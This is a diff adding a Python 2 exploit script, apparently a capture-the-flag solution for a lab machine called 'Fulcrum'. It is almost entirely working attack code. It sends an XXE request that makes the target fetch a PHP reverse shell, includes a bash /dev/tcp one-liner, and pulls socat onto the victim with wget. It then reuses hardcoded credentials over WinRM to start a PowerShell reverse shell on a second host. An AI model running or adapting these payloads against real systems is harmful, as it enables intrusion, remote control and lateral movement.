|
| 1 | +#!/usr/bin/env python2 |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | +# Author: Alamot (Antonios Tsolis) |
| 4 | +import re |
| 5 | +import sys |
| 6 | +import time |
| 7 | +from pwn import * |
| 8 | +import signal, thread |
| 9 | +import requests, urllib3 |
| 10 | +import SimpleHTTPServer, SocketServer |
| 11 | +from subprocess import Popen |
| 12 | +signal.signal(signal.SIGINT, signal.SIG_DFL) |
| 13 | + |
| 14 | +DEBUG = False |
| 15 | +LHOST="10.10.15.45" |
| 16 | +LPORT=60001 |
| 17 | +LPORT2=53 |
| 18 | +RHOST="10.10.10.62" |
| 19 | +RPORT=56423 |
| 20 | +SRVHOST=LHOST |
| 21 | +SRVPORT=60000 |
| 22 | +WINRM_RDPORT=60217 |
| 23 | +TIMEOUT=30 |
| 24 | + |
| 25 | +if DEBUG: |
| 26 | + context.log_level = 'debug' |
| 27 | + |
| 28 | +php_rev_shell = '<?php set_time_limit (0); $VERSION = "1.0"; $ip = "'+str(LHOST)+'"; $port = '+str(LPORT)+'; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Cannot fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Cannot setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\\n"; } } ?>' |
| 29 | + |
| 30 | +#This works too: |
| 31 | +#php_rev_shell="<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+str(LHOST)+"/"+str(LPORT)+" 0>&1'\");" |
| 32 | + |
| 33 | +ruby_helper = """require 'winrm' |
| 34 | +
|
| 35 | +conn = WinRM::Connection.new( |
| 36 | + endpoint: 'https://"""+str(RHOST)+":"+str(WINRM_RDPORT)+"""/wsman', |
| 37 | + transport: :ssl, |
| 38 | + user: 'WebUser', |
| 39 | + password: 'M4ng£m£ntPa55', |
| 40 | + :no_ssl_peer_verification => true |
| 41 | +) |
| 42 | +
|
| 43 | +conn.shell(:powershell) do |shell| |
| 44 | + output = shell.run("$pass = convertto-securestring -AsPlainText -Force -String '@fulcrum_bf392748ef4e_$'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local\\\\923a',$pass; Invoke-Command -ComputerName file.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock {$client = New-Object System.Net.Sockets.TCPClient('"""+str(LHOST)+"',"+str(LPORT2)+"""); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); try { $sendback = (iex $data | Out-String ); } catch { $sendback = ($_.Exception|out-string) }; $sendback2 = $sendback + 'PS ' + $(whoami) + '@' + $env:computername + ' ' + $((gi $pwd).Name) + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close(); }") do |stdout, stderr| |
| 45 | + STDOUT.print stdout |
| 46 | + STDERR.print stderr |
| 47 | + end |
| 48 | + puts "The script exited with exit code #{output.exitcode}" |
| 49 | +end |
| 50 | +""" |
| 51 | + |
| 52 | + |
| 53 | +def start_webserver(): |
| 54 | + try: |
| 55 | + Handler = SimpleHTTPServer.SimpleHTTPRequestHandler |
| 56 | + httpd = SocketServer.TCPServer(("", SRVPORT), Handler) |
| 57 | + log.info("Serving payload at port " + str(SRVPORT)) |
| 58 | + httpd.serve_forever() |
| 59 | + log.info("Web server thread exited successfully.") |
| 60 | + except (KeyboardInterrupt, SystemExit): |
| 61 | + httpd.shutdown() |
| 62 | + |
| 63 | +def send_payload(): |
| 64 | + try: |
| 65 | + client = requests.session() |
| 66 | + client.keep_alive = True |
| 67 | + # Send payload |
| 68 | + log.info("Sending php shell payload...") |
| 69 | + xml="<?xml version='1.0' encoding='UTF-8' ?><!DOCTYPE hack [<!ENTITY xxe SYSTEM 'http://127.0.0.1:4/index.php?page=http://"+str(SRVHOST)+":"+str(SRVPORT)+"/shell' >]><foo>&xxe;</foo>" |
| 70 | + response = client.post("http://"+str(RHOST)+":"+str(RPORT)+"/", data=xml) |
| 71 | + except requests.exceptions.RequestException as e: |
| 72 | + log.failure(str(e)) |
| 73 | + finally: |
| 74 | + if client: |
| 75 | + client.close() |
| 76 | + #log.info("Web payload thread exited successfully.") |
| 77 | + |
| 78 | + |
| 79 | +with open("shell.php", "wt") as f: |
| 80 | + f.write(php_rev_shell) |
| 81 | +with open("ruby_helper.rb", "wb") as f: |
| 82 | + f.write(ruby_helper) |
| 83 | +try: |
| 84 | + th1 = threading.Thread(target=start_webserver) |
| 85 | + th2 = threading.Thread(target=send_payload) |
| 86 | + th1.daemon = True |
| 87 | + th2.daemon = True |
| 88 | + th1.start() |
| 89 | + th2.start() |
| 90 | + phpshell = listen(LPORT, timeout=TIMEOUT).wait_for_connection() |
| 91 | + if phpshell.sock is None: |
| 92 | + log.failure("Connection timeout.") |
| 93 | + sys.exit() |
| 94 | + phpshell.sendline("cd /dev/shm") |
| 95 | + log.info("Uploading socat for port redirection") |
| 96 | + phpshell.sendline("wget http://"+str(SRVHOST)+":"+str(SRVPORT)+"/socat") |
| 97 | + phpshell.sendline("chmod +x socat") |
| 98 | + phpshell.sendline("./socat tcp-listen:"+str(WINRM_RDPORT)+",reuseaddr,fork tcp:192.168.122.228:5986 &") |
| 99 | + #Uncomment if you want an interactive shell on the webserver instead of the file server |
| 100 | + #phpshell.interactive() |
| 101 | + #sys.exit() |
| 102 | + time.sleep(5) |
| 103 | + log.info("Executing ruby_helper.rb") |
| 104 | + Popen(["ruby", "ruby_helper.rb"]) |
| 105 | + pssh = listen(LPORT2, timeout=TIMEOUT).wait_for_connection() |
| 106 | + pssh.interactive() |
| 107 | + sys.exit() |
| 108 | +except (KeyboardInterrupt, SystemExit): |
| 109 | + th1.join() |
| 110 | + th2.join() |
| 111 | +except Exception as e: |
| 112 | + log.failure(str(e)) |
0 commit comments